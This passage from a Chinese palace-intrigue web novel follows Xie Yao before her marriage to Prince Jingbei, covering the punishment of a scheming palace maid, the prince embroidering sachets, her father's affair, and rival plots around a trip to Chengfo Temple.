还有几天就大婚了,萧家甚至送来如此体面的聘礼,这时,如果靖北王被这个贱婢说服,忽然反悔,那就是塌天之祸。 靖北王没事,有太后为他选更好的贵女,替他跟皇帝转圜。 可女儿,必然名声尽毁! 何况,昨日芝黛前来教导女儿礼仪,她暗中让桑若留意,发现这宫女处处为难,不怀好意。 别人害她,辱她,她可以默默忍受,但是,如果敢害自己的女儿,那她绝不放过! 许素素说是掌嘴,没有说具体掌嘴多少。 芝黛狠狠抽了自己三四巴掌。 然而,许素素眼皮都没动。 谢窈看在眼里,内心欣慰。 母亲终究是在改变。 她或许走得很慢,但自己会握着她的手,等着她。 她们母女俩,是最天生的同盟。 桑若冷冷地说:“芝黛姑姑是没吃饭吗,还是奴婢来吧。” 她说着,在芝黛不敢置信的眼神中,左右开弓,把她身体抽得左右晃。 很快,芝黛脸颊就鲜红如血,配上那青黑的眼圈,整张脸五颜六色。 见伯夫人和二小姐都没有喊停的意思,忍冬也捋起衣袖,跃跃欲试。 桑若又打了二十几巴掌后,看出她眼神火热,往旁边一让,换上了她。 忍冬刚扇两下,芝黛终于受不住了,大喊道:“住,住手!我是宁寿宫掌事宫女,你这个贱婢,敢打我……” “你是宫女,我是侍女,都是为奴为婢,我有何打不得?”忍冬动作没停。 芝黛又仰头喊:“伯夫人和二小姐这般凌辱奴婢,是不把太后放在眼——” 箫熠之开口,打断她的话: “谢二小姐与本王,是皇上赐婚,君无戏言,她今日已被册封为靖北王妃,你让本王悔婚,另娶他人,难不成,太后是想叫皇上收回圣旨诏书,失信于臣子?” 白术附和:“太后和皇上母慈子孝,不会质疑皇上旨意,定是芝黛挑拨离间,从中作梗。” 箫熠之称是,道:“怎能累到王妃和岳母大人的丫鬟,白术,你去打。” 芝黛嘴唇动了动,却哑口无言。 太后让她设计搅黄靖北王的婚事,是暗中吩咐的,她一来没证据,二来,她怎敢说,太后真的对皇上不满? 所以,只能是她失言,只能是她会错太后意思,把锅揽在自己身上。 白术走上前,一掌,在芝黛已经肿成猪头的脸上,留下一个鲜明的青紫掌印。 第二掌,她当场昏死过去。 “把她带下去,别脏了王妃的地。” 白术面无表情,让前来围观的伯府下人将芝黛拖走。 许素素也回了屋,院内,只剩下了谢窈和箫熠之,还有一个没事做的白蔹。 六对系着红绸缎的活聘雁,被圈在金笼中,放在院内,阳光下羽毛油亮。 白蔹挠了挠头,没话找话说:“王妃看,这些聘雁,都是王爷这几日亲自猎的。” 谢窈有些难以想象,箫熠之坐在轮椅上弯弓射箭的样子。 “正好,我养了只鸡,有了这些雁作伴,应该就不寂寞了。” 她又问:“王爷要进屋喝杯茶吗?” 这是在赶他走,箫熠之听得出来。 他目光落在绣绷上,看着上面银白蓝紫朱红一团的图案:“这是?” 谢窈顺着他目光,看见自己之前绣了半天的东西,挤出微笑:“芝黛姑姑说要考察我的女红,让我做个香囊。” 箫熠之“哦”了一声,又问:“本王并没有看出它是个香囊……本王是说,这绣的是什么花草?” 谢窈耳根一热:“我绣的是仙鹤。” “外祖父年纪大了,我想绣两只仙鹤在香囊上,愿他福寿延年。” 至于为什么不绣香囊给母亲,呵呵,她拿不出手。 箫熠之没说什么,也没嘲笑,让白蔹将自己的轮椅推到桌旁,凑近看绣绷。 谢窈不好意思地缩脖子。 靖北王还有这样的癖好呢,喜欢看丑东西? 没想到,箫熠之俯身,拿起绣绷,开始穿针引线。 他手指修长,骨节分明,像是冷白的玉。 明明也是握刀剑,拉弓弦的手,掌心指腹都有一层茧子,谢窈却感觉,王爷的手比自己好看。 针脚不急不缓地落在绣绷上,哪怕只看动作,都很是靠谱。 再看绣绷,没几下,谢窈绣的歪歪扭扭的“仙鹤”,真被勾勒出腾空凌云的形状。 “没想到,王爷还有这手艺。”谢窈吃惊地望着箫熠之。 箫熠之道:“本王的母妃擅女红,喜欢给本王绣各式各样的荷包香囊,你的嫁衣,就出自她之手,本王耳濡目染,也略懂一些。” 谢窈微微一怔,原来如此。 她知道,箫熠之的父亲老靖北侯,多年前便战死沙场。 靖北王府里,萧老夫人是他祖母,至于他的母亲靖宁夫人,她了解不多,只听说在几年前病逝了。 一旁,听到王爷提起靖宁夫人,白蔹的眼神颤了颤。 靖北王继续绣着香囊,谢窈索性也搬来一张椅子,坐在他身边。 她不放过他任何动作细节,想学了以后,也能给母亲绣个好看的。 不知母亲刺绣时是什么样子,大概和箫熠之差不多吧。 看了一会儿,谢窈在心里放弃了。 不是学不会,而是靖北王容貌俊美,夺去了她所有的注意力。 谁看王爷绣仙鹤,能把关注点放在仙鹤上啊? 箫熠之抬眸看她,桃花眸透着浅浅的笑意,十分蛊惑:“其实,谢二小姐很有女红天赋。” 谢窈:“王爷是在嘲笑我吗?” 箫熠之指绣绷上她残留的蓝色,绿色丝线:“别人绣鹤,只会用黑白红三线,王妃能看出仙鹤在阳光下,羽毛折射出别的颜色,很难得。” 谢窈:……他还是在嘲笑自己。 白术走过来:“王爷,芝黛醒了,闹着要自尽。” 正在帮王妃绣仙鹤的靖北王,头都没抬,对着绣框中一条白布,随口道: “把白绫送过去,让她死快点,别耽误本王干正事。” 第92章 谢明安芝黛奸情,引蛇出洞 白术来了,白术又走了。 想起芝黛的目的,谢窈取出之前那枚白玉佩,道:“这是太后赏赐给我的玉佩,说是王爷的旧物,还是物归原主吧。” 箫熠之瞥了一眼:“本王不记得太后那里,有本王的旧物。” 白蔹凑上前瞧,认了出来:“王爷,这是您册立靖北王世子进宫时,还是皇后的太后给的。” “因您和五皇子,也就是如今皇上交好,太后估计当时想拉拢您,就让五皇子拿出他的玉佩赐您,所以本质上,这枚玉佩是五皇子的。” 他又补充:“五王之乱时,皇上躲到太后宫里,将京畿大营全权交给您调度,您为了让他安心,就把玉佩和当年继任靖北侯的诏书一起,当信物送进宫中。” 箫熠之勉为其难想了起来。 “这枚玉佩,不过是信物的添头。” 他淡淡地说,手中绣香囊的动作没有任何变化。 箫熠之又嫌弃地说:“虽是太后赏的,但并不是什么好玉,本王用不上。倒是本王给你的聘礼里,有对西戎和田玉璧,你若喜欢,就着能工巧匠,雕刻成玉佩,比这个好看。” “多谢王爷美意,”谢窈只好将玉佩重新收下,“太后与王爷恩深义重,王爷今日惩治了芝黛,恐怕会引起太后不满。” 箫熠之内心微动,不知为何,听出了一点别的意思。 他勾了勾唇角,又按捺下心思,告诉自己想多了。 正要解释,白蔹哼道:“太后又不是皇上生母,只是站对了位置,才坐上太后之位,和王爷哪有什么恩情。” “嗯。”箫熠之应了一声,首次觉得白蔹有时候话多,倒也不错。 谢窈心中一定。 既然这样,她就可以更放心地利用芝黛,引蛇出洞了。 其实王爷当众惩治了芝黛,已经能证明他不是所谓“太后党”,但她还是要确认一下。 箫熠之又想到什么,停了一下手中针线,抬眸看谢窈。 她想借这件事,引太后或者别人再次下手? “别怕,整个大燕,本王谁都得罪得起。”箫熠之认真地说。 谢窈感觉王爷是在安慰自己,但自己本来也不害怕啊。 不但不怕,她还要看芝黛办事失败后,谢明安是什么态度。 绣绷上的银白仙鹤渐渐成形,只剩最后几针,箫熠之引针的速度却慢下来。 他停了手,问白蔹:“什么时辰了?” “启禀王爷,刚过申时。” “今日先到这儿,”箫熠之放下绣绷,声音平静,“明日本王再来绣完。” 靖北王的手艺自然是极好,谢窈唇角微弯,没有任何意见:“多谢王爷。” 箫熠之颔首,由白蔹推着轮椅往外走。 快离开伯府时,白术来复命:“王爷,白绫赐下之后,芝黛就不叫了。” “将她给本王扔回宁寿宫,太后敢怪,就怪在本王头上。” 箫熠之玄眸阴森,和刚才穿针引线时从容淡然的样子,判若两人。 “是。” 谢明安偏院的卧房里,芝黛正躺在床上,由朱嬷嬷给她的脸上药。 手旁边,放着一块白绫。 谢明安手杵拐杖,走进屋子。 他中毒未愈,又看见那些聘礼后大喜大悲,一天就老了不少。 “伯爷来了。”芝黛声音哀怨。 “你先下去,本伯来吧。” 谢明安坐到床边,从朱嬷嬷手里接过上药。 四下无人之后,芝黛爬起来,扑到谢明安怀里。 “太后有命,让我阻止靖北王的婚事,可现在,我这样被遣回宫,还遭许氏掌掴,我以后在宫里,没脸做人了。”她痛声哭诉。 谢明安连忙说:“那个逆女,还有那个贱人,敢伤了你,你放心,本伯不会放过她们。” 芝黛眼泪落下,痴痴地望着中年男人俊朗的面容:“这次一别,奴婢又不知,何时才能再见伯爷了。” “别哭,傻姑娘,你哭得本伯心疼,”谢明安轻轻地抚摸芝黛的脸颊,柔声道,“本伯心里有你,两情若是长久时,又岂在朝朝暮暮。” 芝黛用力地点头:“是,奴婢等着伯爷。” 文昌伯安抚着她,脑海里还是今天那无数聘礼,眼底满是不甘。 “谢窈这个丧门星,自从她回来,本伯就没有顺过,可事已至此,本伯也只能看着她嫁出去,赶紧滚了,眼不见为净。” 芝黛忽然抓住谢明安的手:“伯爷,太后是真的不赞成这门婚事,说谢窈是边关回来的野丫头,配不上靖北王,若婚事黄了,奴婢向您保证,太后一定会记你的功!” 她还是不想放弃太后的吩咐,就这么回去了,太后一定会怪她办事不利。 谢明安却慢慢推开她,沉吟道:“可那丫头现在油盐不进,靖北王更是连太后面子都不给,本伯又能如何?” 芝黛眼眶通红:“奴婢本想着,过两日谢窈要去成佛寺祈福,雪天路滑,若她摔伤了脸,王爷不可能再娶她,皇上也不好说什么,又或者,到时候问罪她礼佛心不诚。” 谢明安谨慎地摇头。 “不行,那逆女有些身手,而且成佛寺是大寺,此事风险太大。” 两人没说几句,王府亲卫去而复返,把芝黛拖着丢上马车,送回太后宫里。 另一边,靖北王离开后,七两才回来复命。 他奉谢窈的命令,一直盯着芝黛。 “小的跟着芝黛,见她进了谢伯爷的书斋,之后谢伯爷出来接旨,衣冠不整,还换了身衣服。而芝黛一直没出来,直到谢伯爷怒气冲冲地回到书斋,她才离开,又来了晚香院。” 谢窈正在翻看靖北王妃的聘礼礼册,闻言,笑了。 “这二人,果然有私情。” 七两:“小姐说的是,小的见芝黛刚才挨打后,也是直接被送到了谢伯爷的书斋偏房。” 谢窈合上册子:“太后不满我和王爷的婚事,想让芝黛阻止,现在事没办成,压力,就落到了谢明安身上。” “可您还有五日就要大婚了,伯爷怎么敢阻止婚事,这可是皇上的赐婚啊。”七两道。 “他是不敢,所以才要我给他一些勇气。” 谢窈指尖点了点礼册:“去,把王爷的聘礼册子交给父亲看一看,就说王府出了这么多聘礼,问问父亲,准备给我出多少嫁妆。” 第93章 渣爹起暗算,庶姐被做刀 七两接过礼册,他虽然不清楚小姐深意,却也知道,这个册子送过去,谢伯爷一定会气得半死。 谢窈看着他离开,坐在院内,指尖掠过箫熠之绣的仙鹤香囊,眼神渐深。 她当然不是无聊去激怒谢明安,而是从确定谢明安和芝黛的奸情开始,就判断他是太后的人。 谢窈还记得,前世这个时候,她缠绵病榻,谢枝则接到圣旨,被选入宫。 在谢枝入宫前,发生了一件事,和成佛寺有关。 那件事后,她特意来自己病床前炫耀,说她命好,皇上选了六名世家女子入宫,独独将她册封为妃。 现在谢窈知道了,哪里是她命好,而是因为谢明安是太后党羽,能帮她打通关节,助她入宫即封妃。 谢窈要激怒谢明安,让他下定决心,破坏自己和箫熠之的婚事。 婚期将近,谢明安一定会选在成佛寺,也只能选成佛寺。 只要他动手,雁过留痕,她就能抓到他勾结太后,结党营私的证据。 饵已撒下,她的父亲,可一定要鼓起勇气,来害她啊…… 书斋里,谢明安正烦躁地踱步。 芝黛临走的话,还在他脑海中回荡。 太后对谢窈和靖北王的婚事不满,若他能阻止此事,太后会记他一功。 可皇上金口玉言定下的婚事,他怎么违逆,被发现了,可是抗旨大罪,他决不能冒此风险。 更让他心痒难耐的,是靖北王送来的聘礼。 那么多聘礼,明明堆在自家府内,却就要全变成那丫头的嫁妆,他碰都碰不得。 若是,谢窈没能顺利嫁进靖北王府呢? 谢明安忍不住想,如果婚事黄了,这批聘礼,就算靖北王要收回,他留下一些,靖北王能拿他如何? 哪怕聘礼真被收走,以谢窈这丫头的姿色,他再把她嫁给别的勋贵,新的聘礼,总不会皇上还要过目吧。 早知道这丫头心思是个野的,他当初就不该让她回来嫁给靖北王。 谢明安正琢磨着,谢枝求见。 “若是为孙姨娘求情,就不必开口了。” 他不耐烦地说。 “她犯了错,安心养胎有什么不好,等她为本伯生下儿子,中馈之权,本伯会再交给她。” “枝枝不是来给姨娘求情的,枝枝是有件喜事要告诉父亲。” 谢枝凑近了些,脸上带着乖巧的笑。 自从谢窈回京,谢宴就转了性子,不再护着自己,姨娘怀孕也瞒她,现在,她能讨好的,只有谢明安了。 父亲以前,一直说自己是他的骄傲,还说若自己是男儿,谢宴都比不上她。 自己,永远是父亲最得意,最宠爱的女儿。 而谢窈那个女人,就算嫁给靖北王,一时风光无限,她注定得不到父亲的疼爱与祝福。 “什么事?”谢明安没什么好气。 他曾经对谢枝寄予厚望,但现在,谢枝送不进宫,又得罪安平侯夫人,嫁不成江家,他已经放弃了这个庶女。 只打算过段时间,找个勋贵将她嫁出去。 谢枝取下发间的长簪,道:“父亲,安平侯对女儿有意,想纳女儿为侧室。” 谢明安怔了怔,精神一振,半天才压抑着激动,问:“真的?” 谢枝羞涩地点头:“小侯爷昨日还给女儿买了织仙坊的衣裙,这长簪也是他送女儿的,他还说,女儿穿红衣,很好看。” 谢明安长吁一口气,眉头舒展开来。 这些日子,他接连遭受打击,还中了毒,总算庶女争气,攀附上了安平侯。 “此事你做的不错,侯爷说什么时候来提亲了吗?是侧室,不是妾室?聘礼几何?”谢明安夸了一句,又急着追问。 “我文昌伯府不是小门小户,聘礼决不能过于寒酸,你可有问侯爷?” 谢枝被问得一噎,嗫嚅道:“侯爷只说过些日子,会安排人上门提亲,具体日子,还有聘礼的事,倒是没有细说。” 话音刚落,没等谢明安皱眉,朱嬷嬷进来:“侯爷,二小姐派人来了。” “进来吧。” 只见七两捧着个托盘进来,上面是本烫金的礼册。 “小姐说,这是靖北王爷送来的聘礼礼册,请伯爷过目。” 谢明安眼睛一亮,伸手拿起礼单。 莫不是谢窈忽然想通了,要把聘礼交给他管? 他翻了翻,赤金的凤钗,成匹的云锦蜀锦,还有西戎玉璧…… 密密麻麻十几页,和许家当年的陪嫁也不相上下,一些物件的珍稀程度更甚。 谢明安看着看着,眼中的贪欲,几乎要化作实质。 七两话锋一转,悠悠开口:“小姐让小的问伯爷,除了将这些聘礼原封不动送回去,伯爷还打算给小姐添些什么嫁妆?别和礼册上的东西重复了。” “你说什么?!” 谢明安的手僵在空中,脸色瞬间涨成了猪肝色。 这些聘礼他不但管不上,还要给谢窈准备嫁妆? 他抓起礼册摔到桌上,勃然大怒。 “滚,滚出去,告诉那逆女,本伯已经把府中中馈交给许氏了,嫁妆的事,让许氏自己安排,但伯府没钱,让她死了这条心!” 七两拿起礼册,唇角悄然勾了勾,转身离开了。 “砰!” 谢明安还不解气,一挥手,将桌案上的笔墨砚台统统扫到地上。 谢枝站在一旁,被吓得浑身发抖,连忙道:“枝枝先告退了。” 谢明安突然回头看她,双目泛红,像找到了宣泄口。 他指着谢枝,痛骂起来:“看看你妹妹,聘礼堆成了山,你呢,费尽心思勾搭上安平侯,却还没有准信。” “就算成了,也只是一个侧室,安平侯能有多少聘礼给伯府?侯夫人是江家贵女,你将来在侯府,能不能站稳脚还不一定,没用的东西!” 谢枝从没有被谢明安这样骂过,咬着唇,哽咽道:“父亲,侯爷他说了要娶我,肯定会娶的……” “他说有什么用?纳采纳征,都没有定下,听说安平侯风流倜傥,府中姬妾无数,说不定,他对你只是玩玩。”谢明安冷笑,眼底阴沉幽深。 “本伯养你养了这么大,你却连个正头夫人都做不上,一个侧室,对伯府有什么用?” 他越骂越狠,直到看着谢枝哭得浑身发抖,眼底闪过几分满意。 “罢了,枝枝,父亲说这些,都是为了你好,想让你争气。” 谢明安忽然收了声,脸上的怒意褪去,换上一副语重心长的模样。 “如今最要紧的,是做实你和安平侯的婚事。” 他神情温和,又成了平时的慈父模样,像是真心为谢枝打算。 谢枝断断续续地说:“父,父亲说的对……可女儿已经尽力问过侯爷了……” 谢明安眼中满是算计,幽幽开口: “明日,庆公公要代陛下,去见成佛寺祈福的长公主,你也去一趟,就说与安平侯两情相悦,为他求平安,要让庆公公和长公主看见,此事传出去了,安平侯非纳你入府不可。” “小侯爷和伯府才女,也不失为一桩佳话。” 谢枝一愣,仔细思忖,又惊又喜。 她和安平侯的事,如果能在庆公公和长公主面前过一遍,京中人知道他们两情相悦,皇上肯定会成全他们的。 “父,父亲没骗我?” “为父何时骗过你。”谢明安盯着自己的庶女,语气平淡。 “正好,后日窈儿也要去成佛寺,你们姐妹二人结伴同行,她有什么不知道的礼仪,你也能教教她。” 第94章 谢窈出生地,庶姐邀请同往 谢枝一愣,问道:“二妹妹也要去成佛寺?” 她猛地想到安平侯今日在马车上说的话。 他能纳自己为侧室,但是,要自己帮他得到谢窈。 可谢窈谨慎,昨日自己邀请她去江家咏梅宴,她根本不出门。 以后她又是靖北王妃了,自己更不敢再做什么。 可是现在,知道谢窈要出门,谢枝却心头狂跳。 谢明安淡淡地解释:“窈儿要在大婚之前,为靖北王府萧家,去成佛寺祈福,或明日,或后日。” “女儿多谢父亲指点。” 谢枝垂在身侧的手悄然攥紧,眼底闪过一抹狠厉,忙低下头掩饰。 “去吧,好好准备准备,让庆公公看到你对小侯爷的情意。”谢明安挥了挥手,转过身去。 “女儿明白,女儿一定不负父亲期望,顺利嫁入安平侯府。” 等谢枝离开,朱嬷嬷收拾着地上的狼藉。 谢明安杵着拐杖,用力点了两下地面,冷笑着喃喃:“本伯什么都没做,本伯可不敢违逆陛下赐婚。” 书斋外,七两一直藏在角落,看见谢枝出来,才回到晚香院复命。 “小姐,谢伯爷大怒,说伯府没钱给您添嫁妆。” “小的还看见,谢枝哭着从谢伯爷书斋出来。” 谢窈正在给长刀缠上布条,手中的动作不急不缓。 刚才,伯府的车夫就前来,询问她什么时候去成佛寺祈福。 看见那么多聘礼近在眼前却得不到,谢明安果然坐不住了。 “知道了。” 她英气昳丽的面容,在窗棂未融化的薄雪映照下,更显得清冷锐利。 “去库房,将王爷聘礼里,那件猞猁皮毛的大氅取出来。再告诉车夫,明日,我就去成佛寺祈福。” 鱼儿,上钩了。 冬月十四,距离靖北王和谢窈的大婚,还有三天。 清早,谢窈就起来,照常练刀。 练完刀,韩思雪来了,是跟她道别的。 昨晚,重伤醒来的谢成榆终于能提笔写字,只不过写的,是一封休书。 不孝有三,无后为大,所以谢成榆此前违背军规,算计堂妹,觊觎谢枝,甚至想将妻子灭口,这些,在韩思雪嫁给谢成榆几年无所出这一条面前,居然都不算罪过了。 但是非对错,韩思雪已经不想再与谢家分辨。 拖得越久,对她越不利。 所以,她昨日拿上休书,今天就收拾好行李,准备离开。 韩思雪感激地说:“阿窈妹妹,如果不是你,我那日对谢成榆动了杀心,就该跟他一命换一命了,不值得。” 谢窈道:“过去的事不必再提,韩姐姐往后打算去哪?” 韩思雪摇头:“娘家是回不去了,我想立女户,但家中兄长父亲尚在,怕是难成,只能走一步看一步吧,我还有些积蓄,能生活些时日。” 谢窈问:“韩姐姐有什么技艺吗?” “我在家时,就喜欢骑马踏春郊游,倒是嫁到谢家后,学会了庖厨,能做些糕点小吃,只是,都是些没什么用的小技。”韩思雪眼神黯淡。 “你会庖厨之事,至少不会饿到自己,谢成榆会吗?他倒是会骑马武功,却连我都打不过,现在死狗一样瘫在床上,一顿不喂就得饿死。”谢窈说道。 她说:“韩姐姐,技艺不在大小,更不在贵贱,只要坚持,就是女子安身立命的根本。” “我外祖父和舅舅家,在京中有几处糕点铺子,你可以去看看,精进些手艺,以后也能自己养活自己。” 韩思雪听了谢窈的话,眼神明亮,眼底闪烁泪光。 “多谢妹妹,妹妹的恩情,我韩思雪铭记于心,日后有任何需要,我一定襄助。” 她深深一拜,这才离开。 窗后,许素素将一切看在眼里,眼神微颤。 韩思雪被休,虽然狼狈,但也是解脱。 而她被囚于牢笼之中,如果可以,也想离开伯府。 可转念一想,她离开谢家,又能去哪儿。 回许家?看看韩思雪,根本回不了韩家。 跟着女儿?阿窈马上就要嫁给靖北王,她的身体,什么也做不了……难不成跟过去,做个拖油瓶吗。 许素素叹了一口气,走出来。 谢窈立即露出小女儿的姿态,笑嘻嘻地问:“母亲怎么出来了,是舍不得女儿嘛?” 许素素心里那点哀怨,听到她的话,一下子散了。 她努力板起脸,试图维持自己的威严:“你去了成佛寺,替我在观音殿上柱香。” “这是为何?母亲似乎并不信神佛鬼神之说。” 许素素道:“当年,我便是在观音殿后面的一间香客禅房生下了你,你是不足月的早产儿,是观音保佑,现在才能这么健壮。” 谢窈一怔。 她知道母亲还未嫁入谢家就未婚先孕,引得外祖父大怒。 没想到,母亲居然是在成佛寺生下了自己。 她居然有这样的身世,那确实要仔细拜一拜。 提起旧事,许素素也有几分羞赧。 “当时害怕被你外祖父知道,我七个月的时候便离家出走,在成佛寺藏了一个月,幸好有苏嬷嬷照顾……” 想到自己的陪嫁嬷嬷,她面色忽然沉了沉,不再说了。 “女儿知道了。” 谢窈点点头,没有追问苏嬷嬷的事。 这些日子,她和许素素的关系已经缓和许多。 虽然母亲还是没有卸下心防,但是,她已经有所改变。 许素素刚回屋,谢枝就来了。 今日天寒,远处天色暗沉,谢枝却只穿了一件浅绯色的夹袄,连披风都没带。 她俏脸泛着红,和气地说:“二妹妹,我今日也要去成佛寺,不如你我同去?” 谢窈看着她的穿着,想起了前世。 大雪天里,谢枝穿得单薄,在上山路上三步一跪拜,五步一叩首,行至成佛寺,为皇帝祈福。 这一幕,被恰好在成佛寺的庆才公公看见,也传遍了京城。 正好皇帝偶感风寒,在谢枝祈福后,身体有所好转。 庆才将她跪拜叩首的事告诉了皇帝,皇帝被她的痴情感动,在她还没入宫的时候,就将她册封为妃,还夸赞文昌伯教出了一个好女儿。 谢窈微仰起头。 果然,下雪了。 谢枝裹了裹身上厚实的猞猁皮大氅,面似雪莲,静静地望着檐下落雪。 谢枝盯着她的脸,眼底飞快划过一丝嫉恨。 明明在边关风吹日晒了九年的野丫头,却生得如此貌美,真是不公平。 “二妹妹还不出发吗,再晚一些,这雪下大了,山路怕是难行。” 她面上挤出笑容,催促道。 谢窈没有说话,神色无波无澜,一双清洌墨色的凤眸睨视她,好像已经将她看透。 第95章 设计她?王爷是二小姐绣娘 谢枝没来由地心虚,怕谢窈真看出什么,又连忙道:“二妹妹从未去过成佛寺吧,你不认识路,你我一起,我也好告诉你怎么走。” 谢窈:“我不认路,伯府养的车夫,总不会也不认识吧。” 谢枝脸上的笑容僵了僵。 她又换了一套说辞:“咱们都是父亲的女儿,若是分开走,被别人看见,难免要说你我姐妹不和。” “原来在大姐姐心里,我们居然是姐妹情深吗。”谢窈吃惊地挑眉。 “我还以为,你是恨不得杀了我呢。” 谢枝猛地咳嗽起来,似乎被冻得脸色发白:“二妹妹说的哪里话——” 谢窈眯起眸,这才说:“我怕冷,车上炭盆和手炉还没备好之前,是不会动身的,大姐姐要是着急,就自己先走,可别耽误了你的正事。” 她加重“正事”二字,意有所指。 “那我就先走了,二妹妹,我们成佛寺见。” 谢枝暗骂谢枝矫情,只能咬了咬牙,带着丫鬟匆匆离去。 父亲跟她说了,今日庆公公要去成佛寺见长公主,却没告诉她具体时辰,她得赶在庆公公前面,不能耽误了自己和安平侯的事。 待谢枝离开,谢窈眼眸渐深。 她交代:“忍冬,你骑快马,去趟安平侯府,帮我办一件事。” 忍冬应下,立即骑上青骢马赶往侯府。 谢窈则拢紧猞猁皮的大氅,走到马车前。 这是伯府最宽敞华贵的车架,双马并行拉车,里面暖炉燃着银霜炭。 因她被册封为王妃,婚前去成佛寺祈福是彰显伯府体面的大事,所以这辆车,昨日还被重新装饰了一番,比之前更显华贵。 蒲苇低声道:“谢伯爷从不在乎小姐,却无缘无故装饰小姐马车,怕是有问题。” 谢窈坦然地坐了上去,示意她一起。 “没问题才奇怪,过了今日,我成婚前就不会出府了,他们当然要抓住这个最后的机会。” 谢窈不但知道马车有问题,还知道,做手脚的,八成是谢枝。 前世,谢枝入宫前,去成佛寺给皇上祈福,也邀请了一位世家贵女同往。 听说行至栖凤山的半山腰,马车坏了。 那位世家贵女不愿步行,耍小性子等新的马车下了山,更衬得谢枝三步一拜,五步一叩首的虔诚,才让庆才公公动容。 如果她没猜错,谢枝刚才非要邀请自己同行,打的也是这个心思。 至于谢明安,她爹速来谨慎,不想脏自己的手,所以,把谢枝当成了一把刀。 “那小姐还上车?”蒲苇问道。 “兵来将挡,水来土掩,”谢窈冷艳的面容扬起一抹笑容,耀眼夺目,“这是他们的机会,也是我的机会。” 马车朝栖凤山行进,谢窈在车内闭目养神,总觉得自己忘了什么。 行了几里地,外面传来“蹬蹬”马蹄声。 谢窈撩开窗帘,见白术骑马赶来,肩上还落着一层碎雪。 “王妃,王爷昨日说了,今天要来伯府给您把仙鹤绣完,他如今已到晚香院。” 白术沉声道,面容冷峻。 今日一早,王爷表面冷静,实际上,在屋里来回换了四身衣袍。 天知道,王爷来伯府前的心情多好,来了后,得知准王妃去了成佛寺,面色又多沉重。 不过,不知为何,王爷让他追上来,并未命令准王妃回来,只是让他转告准王妃,王爷来了伯府。 谢窈一怔,原来她是忘了这茬。 不过,见白术并没有非让她回去,她轻松一笑。 “现在回去太过耽误时间,王爷既然已经到伯府了,让他慢慢绣吧。”谢窈说道,语气随意。 白蔹张了张口,却没有说出任何话。 他不是他弟,没那么多话可说。 “等等。” 就要走,谢窈又叫住他。 “劳烦白侍卫转告王爷,若王爷绣完仙鹤,还有闲暇,再代我绣个萱草样式的香囊,我想送给母亲。” “我去成佛寺,给他和萧家祈福,不能耽搁,就先走了。” 白术欲言又止,最后抱了抱拳,一言不发。 他想说,他谁都不服,就服气准王妃的胆子。 王爷一时兴起,给她绣香囊,她不做陪就罢了,居然还想让王爷再绣一只! 王爷又不是她的绣娘,怎么会她一说,就再绣只萱草香囊? 白术飞快地回了晚香院。 这么冷的天,王爷在院子里,坐在轮椅上,怀里放着个错金福寿纹手炉,低垂眼眸,不急不缓绣手里的香囊。 白蔹站在旁边,为他撑着伞簦,簌簌白雪飘洒。 听到动静,王爷面无表情地停下手中动作,抬起头。 却没在白术身后,看见想见到的人。 白蔹忙问:“谢二小姐怎么没回来?” 白术道:“马车快出京城了,王妃不想耽误时间。” 他犹豫一下:“既然王妃不在,那王爷是否要回府?今日周御医要来。” 箫熠之垂眸不语,看着桌上只剩两针就能收尾的香囊,上面一对仙鹤凌云傲立,振翅欲飞。 他的指腹微微泛白。 “那谢二小姐又说什么了吗?”白蔹又问。 白术面露迟疑。 王爷抬了抬眼皮,桃花眸深邃冷戾:“说。” “王妃让您慢慢绣,说您若闲暇,再代她绣个萱草样式的香囊,她要送伯夫人,还说,她要替您和萧家祈福,不能耽搁,就不回来了。” 王爷端坐在石桌旁,听完他的话,忽然从绣筐中,取出新的针线。 箫熠之低头,开始绣萱草,一针一线。 白术呆住了,甚至揉了揉眼睛,冰山脸也露出诧异。 他脑海里回荡着自己回来时的那句话: ——王爷又不是王妃的绣娘。 过了一会儿,许素素让下人,给靖北王端来了热茶点,又请王爷到厅堂去绣。 另一边,谢窈的马车来到栖凤山的山脚下。 这座山本来只是座无名山,成佛寺也只是个小寺。 传闻多年前,沈皇后曾经领八千健妇营在此山驻扎,与先帝攻上京城,共襄大业。 先帝登基后,册封沈氏为后,此山就改名成为栖凤山,山顶成佛寺扩建,早些年还曾单独列出一殿,专门祭奠健妇营那八千烈女忠魂。 如今,成佛寺已经是京城附近最大的寺庙。 长公主去岁归国后,以为沈皇后祈福,为燕国祈福为名,在成佛寺常住下来。 她甚少回京,皇上赏赐给她的未央别苑,她也只是偶尔回去住一两日。 大雪纷飞,谢窈让车停在山脚下,拢着手炉,倚在温暖宽阔的车厢内等待起来。 不多时,安平侯府的车架,出现在远处。 第96章 侯夫人恭维,庶姐现身 “妹妹,久等了。” 安平侯夫人的声音传来。 侯府侍女搀扶她下了自家车架,她身披貂裘云氅,梳着妇人发髻,笑盈盈地上前:“你那丫鬟前来时,我刚起床,冬日惫懒了些,来迟了,妹妹莫怪。” “是我一时兴起,邀请侯夫人一起来成佛寺,怎会怪罪您呢,”谢窈也下车,落落大方,“蒲苇,给侯夫人换个新手炉。” 安平侯夫人接过镶金的手炉,爱不释手。 她是江家女,见惯了好东西,所以一拿起来,就能感受到这手炉贵重。 不愧是许家的外孙女,她暗自感叹。 安平侯夫人虽然是安平侯正妻,但侯爷平时风流荒唐,肆意挥霍,府上并没有多少闲钱。 还得她时不时去找太后接济,或者回娘家打秋风。 若非如此,之前文昌伯邀请她去冬至宴,实际上是想求娶她庶妹江三小姐,她也不会欣然前往了。 安平侯夫人目光,落在谢窈和她身后的马车上。 “瞧瞧这马车,金镳玉络,雕鞍绣毂,可见啊,妹妹在伯府的处境,已是大好。”她笑着打趣。 谢窈道:“侯夫人取笑了,此车架不过是父亲知道我被册封为靖北王妃,连夜布置的。” 安平侯夫人不禁感叹:“妹妹这话说的,真是叫人羡慕,昨日王府那流水似的聘礼,谁看了,谁不说妹妹得靖北王看重,真是好福气,也该你理所应得。” 她眼神坦荡,眼里没有嫉妒。 安平侯夫人是个聪明而识时务的女子,她说这些,只是纯粹的羡慕。 “天寒,侯夫人不如上我的车说话吧,妹妹还有许多事,想向您请教。”她邀道,语气诚恳。 见谢窈姿态放低,安平侯夫人脸上的笑容真挚了许多,在侍女面前都昂首了几分。 谢家二小姐的话,是认了她做姐姐。 虽说靖北王双腿残疾,但终究是大燕唯一的军功王爵。 谢窈是靖北王妃,以后自己这个侯夫人见了,都得向她行礼。 何况,冬至宴她也在,看出谢二小姐绝非池中之物。 今日谢窈派了丫鬟,主动来侯府请自己一起去成佛寺,现在又邀请自己上她马车。 这给了她极大的面子,她当然高兴。 